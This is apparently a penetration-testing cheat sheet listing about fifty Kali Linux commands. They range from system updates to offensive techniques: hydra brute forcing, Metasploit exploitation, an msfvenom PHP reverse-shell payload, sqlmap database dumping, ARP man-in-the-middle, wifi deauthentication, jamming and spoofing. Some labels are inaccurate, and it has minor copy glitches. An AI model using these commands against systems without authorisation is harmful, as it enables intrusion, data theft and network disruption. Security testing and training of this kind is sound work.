50 useful code examples for Kali Linux:

System Update:

sudo apt update && sudo apt upgrade

Package Installation:

sudo apt install <package-name>

Network Scanning:

sudo nmap <target-ip>

Brute Force Attack:

hydra -l <username> -P <password-list> <target-ip> <service>

Creating Encrypted File:

openssl aes-256-cbc -salt -in <input-file> -out <output-file>

Wireless Network Signal Analysis:

sudo airodump-ng <interface-name>

Access Point Attack:

airbase-ng -c <channel> -e <SSID> <interface-name>

Launching Metasploit Framework:

msfconsole

Exploiting Target:

use <exploit-name>

set RHOST <target-ip>

exploit

Web Application Security Scan:

nikto -h <target-URL>

Password Cracking:

john --format=<format> --wordlist=<wordlist> <hashed-file>

SSH Connection:

ssh <username>@<target-ip>

Display System Information:

uname –a

Changing File Permissions:

chmod <permissions> <file-name>

File Transfer to Target System:

scp <local-file> <target-ip>:<target-directory>

Firewall Configuration:

sudo ufw enable

sudo ufw allow <port>

Display Network Interfaces:

İfconfig

Display Process List:

ps aux

Listing Files on Target System:

Copy code

ls <directory>

Enabling IP Forwarding for Local Network Routing:

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o <interface-name> -j MASQUERADE

Packet Sniffing with Wireshark:

sudo wireshark

Website Cloning with HTTrack:

httrack <target-URL> -O <output-directory>

Password Hash Generation:

echo -n <password> | sha256sum

Remote Desktop Connection with RDP:

xfreerdp /u:<username> /v:<target-ip>

Port Scanning with Masscan:

sudo masscan -p1-65535 <target-ip>

DNS Enumeration with dnsenum:

dnsenum <domain>

Exploiting Shellshock Vulnerability:

env '() { :;}; echo Vulnerable' /bin/bash -c "echo This is a test"

Packet Spoofing with Scapy:

sudo scapy

python

>>> packet = IP(src="<spoofed-ip>", dst="<target-ip>")/ICMP()

>>> send(packet)

Man-in-the-Middle Attack with Ettercap:

sudo ettercap -T -M arp:remote /<gateway-ip>/ /<target-ip>/

Web Application Fuzzing with Burp Suite:

Burpsuite

Firewall Evasion with Hping3:

sudo hping3 -S -c 1 -p <port> -s <spoofed-ip> <target-ip>

Data Recovery with TestDisk:

sudo testdisk

Wireless Password Cracking with Aircrack-ng:

sudo airodump-ng <interface-name>

Exploiting Heartbleed Vulnerability:

openssl s_client -connect <target-ip>:<port> -tlsextdebug –status

Traffic Analysis with tcpdump:

sudo tcpdump -i <interface-name> -n –X

Exploiting Shell Uploading Vulnerability:

msfvenom -p php/meterpreter/reverse_tcp LHOST=<local-ip> LPORT=<local-port> -f raw > shell.php

Wireless Deauthentication Attack:

aireplay-ng --deauth <count> -a <access-point-mac> -c <client-mac> <interface-name>

Malware Analysis with Cuckoo Sandbox:

Cuckoo

SSL/TLS Certificate Information:

openssl s_client -connect <target-ip>:<port> -showcerts

Privilege Escalation with LinEnum:

wget <LinEnum-URL>

chmod +x LinEnum.sh

./LinEnum.sh

Wireless Rogue Access Point Detection with Kismet:

sudo kismet

Network Traffic Capture with tshark:

sudo tshark -i <interface-name>

Exploiting SQL Injection Vulnerability:

sqlmap -u <target-URL> --dump-all --dbms=<dbms>

Password Cracking with Hashcat:

hashcat -m <hash-mode> -a <attack-mode> <hash-file> <wordlist>

Wi-Fi Password Recovery with Wifiphisher:

sudo wifiphisher

Social Engineering Toolkit (SET) Attack:

Setoolkit

Reverse Engineering with radare2:

r2 <binary-file>

Wireless Jamming with MDK3:

sudo mdk3 <interface-name> d

Exploiting Cross-Site Scripting (XSS) Vulnerability:

<script>alert('XSS')</script>

Digital Forensics with Autopsy:

autopsy